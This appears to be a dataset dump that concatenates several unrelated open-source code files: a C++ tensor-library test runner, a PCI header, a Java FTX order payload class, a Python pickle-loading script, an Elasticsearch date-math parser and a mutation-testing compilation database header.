/* NiuTrans.Tensor - an open-source tensor library
* Copyright (C) 2017, Natural Language Processing Lab, Northeastern University.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* $Created by: <NAME> (<EMAIL>) 2018-05-01
*/
#include "Test.h"
namespace nts { // namespace nts(NiuTrans.Tensor)
/* test for all Function */
bool Test()
{
bool wrong = false;
XPRINT(0, stdout, "Testing the XTensor utilites ... \n\n");
wrong = !TestAbsolute() || wrong;
wrong = !TestClip() || wrong;
wrong = !TestCompare() || wrong;
wrong = !TestConcatenate() || wrong;
wrong = !TestConcatenateSolely() || wrong;
wrong = !TestCos() || wrong;
wrong = !TestConvertDataType() || wrong;
wrong = !TestCopyIndexed() || wrong;
wrong = !TestCopyValues() || wrong;
wrong = !TestDiv() || wrong;
wrong = !TestDivDim() || wrong;
wrong = !TestExp() || wrong;
wrong = !TestGather() || wrong;
wrong = !TestLog() || wrong;
wrong = !TestMatrixMul() || wrong;
wrong = !TestMatrixMul2D() || wrong;
wrong = !TestMatrixMul2DParallel() || wrong;
wrong = !TestMatrixMulBatched() || wrong;
wrong = !TestMerge() || wrong;
wrong = !TestMultiply() || wrong;
wrong = !TestMultiplyDim() || wrong;
wrong = !TestNegate() || wrong;
wrong = !TestNormalize() || wrong;
wrong = !TestPower() || wrong;
wrong = !TestReduceMax() || wrong;
wrong = !TestReduceMean() || wrong;
wrong = !TestReduceSum() || wrong;
wrong = !TestReduceSumAll() || wrong;
wrong = !TestReduceSumSquared() || wrong;
wrong = !TestReduceVariance() || wrong;
wrong = !TestRound() || wrong;
wrong = !TestScaleAndShift() || wrong;
wrong = !TestSelect() || wrong;
wrong = !TestSetAscendingOrder() || wrong;
wrong = !TestSetData() || wrong;
wrong = !TestSign() || wrong;
wrong = !TestSin() || wrong;
wrong = !TestSort() || wrong;
wrong = !TestSplit() || wrong;
wrong = !TestSpread() || wrong;
wrong = !TestSub() || wrong;
wrong = !TestSum() || wrong;
wrong = !TestSumDim() || wrong;
wrong = !TestTan() || wrong;
wrong = !TestTranspose() || wrong;
wrong = !TestTopK() || wrong;
wrong = !TestUnsqueeze() || wrong;
wrong = !TestXMem() || wrong;
wrong = !TestCrossEntropy() || wrong;
wrong = !TestDropout() || wrong;
wrong = !TestHardTanH() || wrong;
wrong = !TestIdentity() || wrong;
wrong = !TestLogSoftmax() || wrong;
wrong = !TestLoss() || wrong;
wrong = !TestRectify() || wrong;
wrong = !TestSigmoid() || wrong;
wrong = !TestSoftmax() || wrong;
/* other test */
/*
TODO!!
*/
if (wrong) {
XPRINT(0, stdout, "Something goes wrong! Please check the code!\n");
return false;
}
else {
XPRINT(0, stdout, "OK! Everything is good!\n");
return true;
}
}
} // namespace nts(NiuTrans.Tensor) | 1,279 |
480 |
#ifndef _PCI_REGS_H
#define _PCI_REGS_H
#define PCI_HEADER_TYPE 0x0E
#endif // _PCI_REGS_H
| 56 |
1,909 | package org.knowm.xchange.ftx.dto.trade;
import java.math.BigDecimal;
public class FtxOrderRequestPayload {
private String market;
private FtxOrderSide side;
private BigDecimal price;
private FtxOrderType type;
private BigDecimal size;
private boolean reduceOnly;
private boolean ioc;
private boolean postOnly;
private String clientId;
public FtxOrderRequestPayload(
String market,
FtxOrderSide side,
BigDecimal price,
FtxOrderType type,
BigDecimal size,
boolean reduceOnly,
boolean ioc,
boolean postOnly,
String clientId) {
this.market = market;
this.side = side;
this.price = price;
this.type = type;
this.size = size;
this.reduceOnly = reduceOnly;
this.ioc = ioc;
this.postOnly = postOnly;
this.clientId = clientId;
}
public String getMarket() {
return market;
}
public void setMarket(String market) {
this.market = market;
}
public FtxOrderSide getSide() {
return side;
}
public void setSide(FtxOrderSide side) {
this.side = side;
}
public BigDecimal getPrice() {
return price;
}
public void setPrice(BigDecimal price) {
this.price = price;
}
public FtxOrderType getType() {
return type;
}
public void setType(FtxOrderType type) {
this.type = type;
}
public BigDecimal getSize() {
return size;
}
public void setSize(BigDecimal size) {
this.size = size;
}
public boolean isReduceOnly() {
return reduceOnly;
}
public void setReduceOnly(boolean reduceOnly) {
this.reduceOnly = reduceOnly;
}
public boolean isIoc() {
return ioc;
}
public void setIoc(boolean ioc) {
this.ioc = ioc;
}
public boolean isPostOnly() {
return postOnly;
}
public void setPostOnly(boolean postOnly) {
this.postOnly = postOnly;
}
public String getClientId() {
return clientId;
}
public void setClientId(String clientId) {
this.clientId = clientId;
}
@Override
public String toString() {
return "FtxOrderRequestPOJO{"
+ "market='"
+ market
+ '\''
+ ", side="
+ side
+ ", price="
+ price
+ ", type="
+ type
+ ", size="
+ size
+ ", reduceOnly="
+ reduceOnly
+ ", ioc="
+ ioc
+ ", postOnly="
+ postOnly
+ ", clientId='"
+ clientId
+ '\''
+ '}';
}
}
| 1,018 |
397 | <reponame>ilblackdragon/studio
import glob
import os
from studio import fs_tracker
import pickle
weights_list = sorted(
glob.glob(
os.path.join(
fs_tracker.get_artifact('w'),
'*.pck')))
print('*****')
print(weights_list[-1])
with open(weights_list[-1], 'r') as f:
w = pickle.load(f)
print(w.dot(w))
print('*****')
| 164 |
1,125 | /*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.common.time;
import org.elasticsearch.ElasticsearchParseException;
import org.elasticsearch.common.Strings;
import java.time.DateTimeException;
import java.time.DayOfWeek;
import java.time.Instant;
import java.time.LocalTime;
import java.time.ZoneId;
import java.time.ZoneOffset;
import java.time.ZonedDateTime;
import java.time.format.DateTimeFormatter;
import java.time.temporal.ChronoField;
import java.time.temporal.TemporalAccessor;
import java.time.temporal.TemporalAdjusters;
import java.time.temporal.TemporalQueries;
import java.util.Objects;
import java.util.function.Function;
import java.util.function.LongSupplier;
/**
* A parser for date/time formatted text with optional date math.
*
* The format of the datetime is configurable, and unix timestamps can also be used. Datemath
* is appended to a datetime with the following syntax:
* <code>||[+-/](\d+)?[yMwdhHms]</code>.
*/
public class JavaDateMathParser implements DateMathParser {
private final JavaDateFormatter formatter;
private final DateTimeFormatter roundUpFormatter;
private final String format;
JavaDateMathParser(String format, JavaDateFormatter formatter, DateTimeFormatter roundUpFormatter) {
Objects.requireNonNull(formatter);
this.format = format;
this.formatter = formatter;
this.roundUpFormatter = roundUpFormatter;
}
@Override
public long parse(String text, LongSupplier now, boolean roundUp, ZoneId timeZone) {
long time;
String mathString;
if (text.startsWith("now")) {
try {
time = now.getAsLong();
} catch (Exception e) {
throw new ElasticsearchParseException("could not read the current timestamp", e);
}
mathString = text.substring("now".length());
} else {
int index = text.indexOf("||");
if (index == -1) {
return parseDateTime(text, timeZone, roundUp);
}
time = parseDateTime(text.substring(0, index), timeZone, false);
mathString = text.substring(index + 2);
}
return parseMath(mathString, time, roundUp, timeZone);
}
private long parseMath(final String mathString, final long time, final boolean roundUp,
ZoneId timeZone) throws ElasticsearchParseException {
if (timeZone == null) {
timeZone = ZoneOffset.UTC;
}
ZonedDateTime dateTime = ZonedDateTime.ofInstant(Instant.ofEpochMilli(time), timeZone);
for (int i = 0; i < mathString.length(); ) {
char c = mathString.charAt(i++);
final boolean round;
final int sign;
if (c == '/') {
round = true;
sign = 1;
} else {
round = false;
if (c == '+') {
sign = 1;
} else if (c == '-') {
sign = -1;
} else {
throw new ElasticsearchParseException("operator not supported for date math [{}]", mathString);
}
}
if (i >= mathString.length()) {
throw new ElasticsearchParseException("truncated date math [{}]", mathString);
}
final int num;
if (!Character.isDigit(mathString.charAt(i))) {
num = 1;
} else {
int numFrom = i;
while (i < mathString.length() && Character.isDigit(mathString.charAt(i))) {
i++;
}
if (i >= mathString.length()) {
throw new ElasticsearchParseException("truncated date math [{}]", mathString);
}
num = Integer.parseInt(mathString.substring(numFrom, i));
}
if (round) {
if (num != 1) {
throw new ElasticsearchParseException("rounding `/` can only be used on single unit types [{}]", mathString);
}
}
char unit = mathString.charAt(i++);
switch (unit) {
case 'y':
if (round) {
dateTime = dateTime.withDayOfYear(1).with(LocalTime.MIN);
} else {
dateTime = dateTime.plusYears(sign * num);
}
if (roundUp) {
dateTime = dateTime.plusYears(1);
}
break;
case 'M':
if (round) {
dateTime = dateTime.withDayOfMonth(1).with(LocalTime.MIN);
} else {
dateTime = dateTime.plusMonths(sign * num);
}
if (roundUp) {
dateTime = dateTime.plusMonths(1);
}
break;
case 'w':
if (round) {
dateTime = dateTime.with(TemporalAdjusters.previousOrSame(DayOfWeek.MONDAY)).with(LocalTime.MIN);
} else {
dateTime = dateTime.plusWeeks(sign * num);
}
if (roundUp) {
dateTime = dateTime.plusWeeks(1);
}
break;
case 'd':
if (round) {
dateTime = dateTime.with(LocalTime.MIN);
} else {
dateTime = dateTime.plusDays(sign * num);
}
if (roundUp) {
dateTime = dateTime.plusDays(1);
}
break;
case 'h':
case 'H':
if (round) {
dateTime = dateTime.withMinute(0).withSecond(0).withNano(0);
} else {
dateTime = dateTime.plusHours(sign * num);
}
if (roundUp) {
dateTime = dateTime.plusHours(1);
}
break;
case 'm':
if (round) {
dateTime = dateTime.withSecond(0).withNano(0);
} else {
dateTime = dateTime.plusMinutes(sign * num);
}
if (roundUp) {
dateTime = dateTime.plusMinutes(1);
}
break;
case 's':
if (round) {
dateTime = dateTime.withNano(0);
} else {
dateTime = dateTime.plusSeconds(sign * num);
}
if (roundUp) {
dateTime = dateTime.plusSeconds(1);
}
break;
default:
throw new ElasticsearchParseException("unit [{}] not supported for date math [{}]", unit, mathString);
}
if (roundUp) {
dateTime = dateTime.minus(1, ChronoField.MILLI_OF_SECOND.getBaseUnit());
}
}
return dateTime.toInstant().toEpochMilli();
}
private long parseDateTime(String value, ZoneId timeZone, boolean roundUpIfNoTime) {
if (Strings.isNullOrEmpty(value)) {
throw new IllegalArgumentException("cannot parse empty date");
}
Function<String,TemporalAccessor> formatter = roundUpIfNoTime ? this.roundUpFormatter::parse : this.formatter::parse;
try {
if (timeZone == null) {
return DateFormatters.from(formatter.apply(value)).toInstant().toEpochMilli();
} else {
TemporalAccessor accessor = formatter.apply(value);
ZoneId zoneId = TemporalQueries.zone().queryFrom(accessor);
if (zoneId != null) {
timeZone = zoneId;
}
return DateFormatters.from(accessor).withZoneSameLocal(timeZone).toInstant().toEpochMilli();
}
} catch (IllegalArgumentException | DateTimeException e) {
throw new ElasticsearchParseException("failed to parse date field [{}] with format [{}]: [{}]",
e, value, format, e.getMessage());
}
}
}
| 4,707 |
619 | <filename>include/mull/JunkDetection/CXX/CompilationDatabase.h
#pragma once
#include <map>
#include <string>
#include <utility>
#include <vector>
namespace mull {
class Diagnostics;
class CompilationDatabase {
public:
using Flags = std::vector<std::string>;
using Database = std::map<std::string, Flags>;
CompilationDatabase() = default;
CompilationDatabase(const CompilationDatabase &) = default;
CompilationDatabase(CompilationDatabase &&) = default;
CompilationDatabase &operator=(const CompilationDatabase &) = default;
CompilationDatabase &operator=(CompilationDatabase &&) = default;
CompilationDatabase(Database database, Flags extraFlags, Database bitcodeFlags);
static CompilationDatabase fromFile(Diagnostics &diagnostics, const std::string &path,
const std::string& extraFlags,
const std::map<std::string, std::string>& bitcodeFlags);
static CompilationDatabase fromBuffer(Diagnostics &diagnostics, const std::string &buffer,
const std::string& extraFlags,
const std::map<std::string, std::string>& bitcodeFlags);
const CompilationDatabase::Flags &compilationFlagsForFile(const std::string &filepath) const;
private:
Flags extraFlags;
Database database;
Database bitcodeFlags;
};
} // namespace mull
| 504 |
Subsets and Splits